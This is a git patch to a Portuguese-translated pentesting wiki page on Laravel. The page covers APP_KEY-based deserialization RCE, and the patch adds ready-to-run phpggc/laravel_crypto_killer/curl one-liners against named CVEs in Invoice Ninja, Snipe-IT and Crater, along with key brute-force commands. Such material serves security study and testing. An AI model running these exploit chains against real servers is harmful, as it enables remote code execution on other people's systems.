From 13e106620f454421cfb7c65802c3883e219135d2 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 22:36:51 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 142 +++++------------- 1 file changed, 37 insertions(+), 105 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 7e63a721e..e8550cb6d 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -10,7 +10,7 @@ Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functio ## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6) -Laravel usa AES-256-CBC (ou GCM) com integridade HMAC nos bastidores (`Illuminate\\Encryption\\Encrypter`). +Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`). O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: ```json { @@ -22,7 +22,7 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um ``` `encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. -Minimal PoC (framework ≥9.x): +PoC mínima (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; @@ -51,39 +51,49 @@ O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e rege ## Padrões vulneráveis do mundo real -| Projeto | Sink vulnerável | Cadeia de gadgets | -|---------|-----------------|-------------------| +| Projeto | Ponto vulnerável | Cadeia de gadgets | +|---------|------------------|-------------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 | O fluxo de exploração é sempre: -1. Obter `APP_KEY` (exemplos padrão, vazamento do Git, vazamento de config/.env ou força bruta) -2. Gerar gadget com **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Entregar carga útil através do parâmetro/cookie vulnerável → **RCE** +1. Obter ou forçar a força bruta da `APP_KEY` de 32 bytes. +2. Construir uma cadeia de gadgets com **PHPGGC** (por exemplo, `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`). +3. Criptografar o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada. +4. Entregar o texto cifrado ao ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão …) para acionar **RCE**. +Abaixo estão linhas concisas demonstrando todo o caminho do ataque para cada CVE do mundo real mencionado acima: +```bash +# Invoice Ninja ≤5 – /route/{hash} +php8.2 phpggc Laravel/RCE13 system id -b -f | \ +./laravel_crypto_killer.py encrypt -k -v - | \ +xargs -I% curl "https://victim/route/%" + +# Snipe-IT ≤6 – XSRF-TOKEN cookie +php7.4 phpggc Laravel/RCE9 system id -b | \ +./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt +curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login + +# Crater – cookie-based session +php8.2 phpggc Laravel/RCE15 system id -b > payload.bin +./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt +curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login +``` --- -## Descoberta em massa de APP_KEY via força bruta de cookies +## Descoberta em massa do APP_KEY via brute-force de cookies -Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners de internet pública (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline. +Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline. Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025): -* Conjunto de dados julho de 2024 » 580 k tokens, **3,99 % chaves quebradas** (≈23 k) -* Conjunto de dados maio de 2025 » 625 k tokens, **3,56 % chaves quebradas** +* Conjunto de dados Julho 2024 » 580 k tokens, **3,99 % das chaves quebradas** (≈23 k) +* Conjunto de dados Maio 2025 » 625 k tokens, **3,56 % das chaves quebradas** * >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados. -* Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). +* Reutilização massiva de chaves – os 10 principais APP_KEYs são padrões codificados que vêm com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. +A ferramenta Go privada **nounours** empurra a taxa de brute-force AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. ---- - -## Referências -* [Laravel: análise de vazamento de APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) ## Truques do Laravel @@ -94,7 +104,7 @@ Por exemplo `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Isso geralmente é necessário para explorar outros CVEs de RCE do Laravel. +Isso geralmente é necessário para explorar outras CVEs de RCE do Laravel. ### .env @@ -176,91 +186,13 @@ Ou você também pode explorá-lo com metasploit: `use unix/http/laravel_token_u Outra desserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQLInjection -Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - -### Laravel SQLInjection - -Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - ---- - -## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6) - -Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`). -O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: -```json -{ -"iv" : "Base64(random 16-byte IV)", -"value": "Base64(ciphertext)", -"mac" : "HMAC_SHA256(iv||value, APP_KEY)", -"tag" : "" // only used for AEAD ciphers (GCM) -} -``` -`encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. - -Minimal PoC (framework ≥9.x): -```php -use Illuminate\Support\Facades\Crypt; - -$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f -$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste -``` -Injete a string produzida em qualquer ponto vulnerável `decrypt()` (parâmetro de rota, cookie, sessão, ...). - ---- - -## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo o processo e adiciona um modo **bruteforce** conveniente: -```bash -# Encrypt a phpggc chain with a known APP_KEY -laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" - -# Decrypt a captured cookie / token -laravel_crypto_killer.py decrypt -k -v - -# Try a word-list of keys against a token (offline) -laravel_crypto_killer.py bruteforce -v -kf appkeys.txt -``` -O script suporta de forma transparente tanto cargas úteis CBC quanto GCM e regenera o campo HMAC/tag. - ---- - -## Padrões vulneráveis do mundo real - -| Projeto | Ponto vulnerável | Cadeia de gadgets | -|---------|------------------|-------------------| -| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | - -O fluxo de exploração é sempre: -1. Obter `APP_KEY` (exemplos padrão, vazamento do Git, vazamento de config/.env ou força bruta) -2. Gerar gadget com **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Entregar carga útil através do parâmetro/cookie vulnerável → **RCE** - ---- - -## Descoberta em massa de APP_KEY via força bruta de cookies - -Porque cada resposta nova do Laravel define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e geralmente `laravel_session`), **scanners de internet pública (Shodan, Censys, …) vazam milhões de textos cifrados** que podem ser atacados offline. - -Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025): -* Conjunto de dados julho de 2024 » 580 k tokens, **3,99 % chaves quebradas** (≈23 k) -* Conjunto de dados maio de 2025 » 625 k tokens, **3,56 % chaves quebradas** -* >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados. -* Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …). - -A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos. - ---- ## Referências -* [Laravel: análise de vazamento de APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}